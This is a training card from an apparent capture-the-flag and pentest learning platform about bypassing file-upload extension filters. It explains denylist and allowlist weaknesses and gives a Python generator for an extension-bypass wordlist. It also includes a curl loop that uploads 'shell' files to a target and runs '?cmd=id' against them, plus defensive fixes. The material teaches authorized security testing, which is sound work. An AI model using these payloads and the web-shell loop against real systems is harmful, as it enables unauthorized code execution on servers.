Browse CTFs New CTF Sign in

Extension bypass

web_injection_logic Difficulté 1–5 30 min certifiable

Théorie

Why This Matters

Extension-based filtering is the most common form of upload validation found in production applications, and the most consistently bypassed. CVE-2018-9206 (jQuery File Upload plugin, used by thousands of projects) allowed arbitrary file upload because the plugin relied solely on extension checks that were bypassable. WordPress has shipped multiple security releases addressing extension filter bypasses in its media library. The core problem is that extension validation and server-side execution are controlled by different software components that do not share the same parsing logic: the application checks what the developer believes the extension to be, while the web server or interpreter decides what to execute based on its own configuration rules.

Core Concept

A file extension is a suffix appended to a filename, conventionally used to indicate file type. Extension-based upload filters operate on this suffix. Two fundamentally different approaches exist:

A denylist defines extensions that are rejected (e.g., .php, .jsp, .aspx). The security problem is that lists are never complete. PHP can be executed via .php5, .phtml, .phar, .php3, .php4, .php7, .shtml (with SSI), and platform-specific variants. Windows IIS adds .asp, .asa, .cer, .cdx. An attacker who knows one unlisted executable extension bypasses the entire control.

An allowlist defines extensions that are accepted (e.g., only .jpg, .png, .gif). This is significantly stronger but still fails when: (a) the web server is configured to execute files regardless of extension (e.g., AddHandler application/x-httpd-php .jpg), or (b) the application uses the leftmost extension to determine type rather than the rightmost, allowing file.php.jpg to be stored and served as PHP.

Extension confusion bypasses exploit inconsistencies between what the application checks and what the server executes:

  • Double extension: file.php.jpg — if the web server strips the last extension and executes the first, a PHP allowlist for .jpg is bypassed.
  • Case variation: file.pHP, file.PhP — case-insensitive OS (Windows) or case-insensitive filter but case-preserving storage.
  • Null byte injection: file.php%00.jpg — in PHP < 5.3.4, move_uploaded_file used C string functions that terminated at null; the OS would store file.php.
  • Windows NTFS stream: file.php::$DATA — the ::$DATA alternate data stream suffix is stripped by the OS, resulting in storage as file.php.
  • Apache misconfiguration: AddHandler application/x-httpd-php .php .phtml.phtml is not in most denylists.
  • IIS parsing quirk (historical): file.asp;.jpg — IIS 6 treated the semicolon as a path separator, executing file.asp.

Technical Deep-Dive

# Extension bypass wordlist generator for Burp Intruder
# Covers PHP, ASP, JSP, and server-specific variants

php_exts = [
    ".php", ".php3", ".php4", ".php5", ".php7", ".phtml",
    ".phar", ".phps", ".pHp", ".PHP", ".Php", ".phP",
    ".php.jpg", ".php%00.jpg", ".php::$DATA",
]

asp_exts = [
    ".asp", ".aspx", ".asa", ".cer", ".cdx",
    ".asp;.jpg", ".aspx;.jpg",
]

jsp_exts = [
    ".jsp", ".jspx", ".jspf", ".jspa",
    ".jsp.jpg",
]

all_exts = php_exts + asp_exts + jsp_exts

# Write to file for Burp Intruder payload list
with open("extension_bypass.txt", "w") as f:
    for ext in all_exts:
        f.write(ext + "
")

print(f"Generated {len(all_exts)} extension variants")
# Burp Intruder automation: mark filename extension as injection point
# Original request in Repeater:
#   filename="shell.§php§"
# Payload set: extension_bypass.txt
# Grep match: "success" OR "uploaded" OR "200 OK"

# Manual curl loop for quick testing
TARGET="https://app.example.com/upload"
SESSION="your-session-cookie"

for EXT in php php5 phtml phar pHP PHP; do
    RESP=$(curl -s -X POST "$TARGET" 
        -b "session=$SESSION" 
        -F "[email protected];filename=shell.$EXT;type=image/jpeg")
    echo "$EXT -> $RESP" | grep -i "success|upload|error"
done

# After upload: attempt execution
for EXT in php php5 phtml phar; do
    curl -s "https://app.example.com/uploads/shell.$EXT?cmd=id" | 
        grep -i "uid="
done
# Example Apache misconfiguration that makes .jpg executable as PHP
# In /etc/apache2/mods-enabled/php.conf or .htaccess:
AddHandler application/x-httpd-php .php .phtml .jpg

# Detection: request a .jpg file containing PHP; observe if it executes
# Fix: use FilesMatch directive instead of AddHandler
<FilesMatch ".php$">
    SetHandler application/x-httpd-php
</FilesMatch>

Security Assessment Methodology

  1. Determine the filter type — Upload a .php file. If rejected, determine from the error message whether a denylist ("PHP files not allowed") or allowlist ("only JPEG/PNG accepted") is in use. This shapes the bypass strategy.
  2. For denylists — enumerate unlisted executable extensions — Use Burp Intruder with the extension bypass wordlist. Identify which variants are accepted.
  3. For allowlists — test double extension and handler misconfigurations — Upload shell.php.jpg. If accepted, request the stored file and observe if PHP executes. Check for AddHandler directives via .htaccess upload if that endpoint exists.
  4. Test null byte injection — In Burp Repeater, set the filename to shell.php followed by a literal null byte (x00) followed by .jpg. Observe if the server stores shell.php.
  5. Test Windows-specific variants — On IIS targets, try shell.php::$DATA and shell.asp;.jpg. Confirm OS by examining Server: response headers.
  6. Confirm the execution path — After any bypass succeeds, request the uploaded file URL with a benign command parameter (?cmd=id) to confirm code execution.
  7. Test case sensitivity — Try shell.PHP, shell.pHp on case-insensitive targets (Windows, some Linux FS configs).

Defensive Countermeasure — Use an allowlist of safe extensions (e.g., jpg, png, gif, pdf) validated server-side against both the extension and the magic bytes. Rename all uploaded files to a random UUID with no extension or a forced safe extension. Store uploads outside the document root. Disable AddHandler and use FilesMatch with exact anchoring in Apache. Set upload_tmp_dir permissions to prevent execution.

Common Assessment Errors

  • Only testing .php and stopping — A thorough assessment requires the full extension wordlist. Many filters block the obvious variants and miss .phtml or .phar.
  • Failing to test execution after upload success — An accepted upload is meaningless if the file cannot be executed. Always request the stored URL with a test command.
  • Ignoring the web server configuration as a separate layer — The application filter and the server handler are independent. A file blocked by the filter may be accepted via a misconfigured handler, and vice versa.
  • Assuming Linux case-sensitivity — Test environments are often Linux; production may be Windows IIS. Case bypass variants are Windows-specific and must be tested on the actual target OS.
  • Missing .htaccess upload as a separate attack — If the server processes .htaccess files from the upload directory, uploading a custom .htaccess can define new handlers, making any extension executable.
  • Not checking NTFS alternate data stream behaviorfile.php::$DATA is a Windows-only bypass. If the target is IIS on Windows, this variant must be in the test set.

NICE Framework Alignment

Code Knowledge/Skill/Task Statement How This Card Develops It
K0009 Knowledge of application vulnerabilities Details the denylist vs allowlist distinction and why each fails differently
K0070 Knowledge of system and application security threats and vulnerabilities Maps extension bypass variants to specific server/OS combinations
S0001 Skill in conducting vulnerability scans and recognizing vulnerabilities in security systems Trains use of Burp Intruder with extension wordlists
S0044 Skill in mimicking threat behaviors to test defenses Builds adversarial enumeration skill for extension filter evasion
T0028 Conduct and support authorized penetration testing on enterprise networks Provides tool-explicit, stepwise methodology for extension bypass assessment
T0591 Perform penetration testing as required for new or updated applications Frames extension testing as a mandatory upload assessment component

Further Reading

  • OWASP File Upload Cheat Sheet — OWASP Foundation
  • HackTricks: File Upload — Carlos Polop (book.hacktricks.xyz, offline reference)
  • "Unrestricted File Upload" CWE-434 — MITRE Common Weakness Enumeration

Challenge Lab

Renforcez votre apprentissage avec un défi généré basé sur la compétence de cette carte.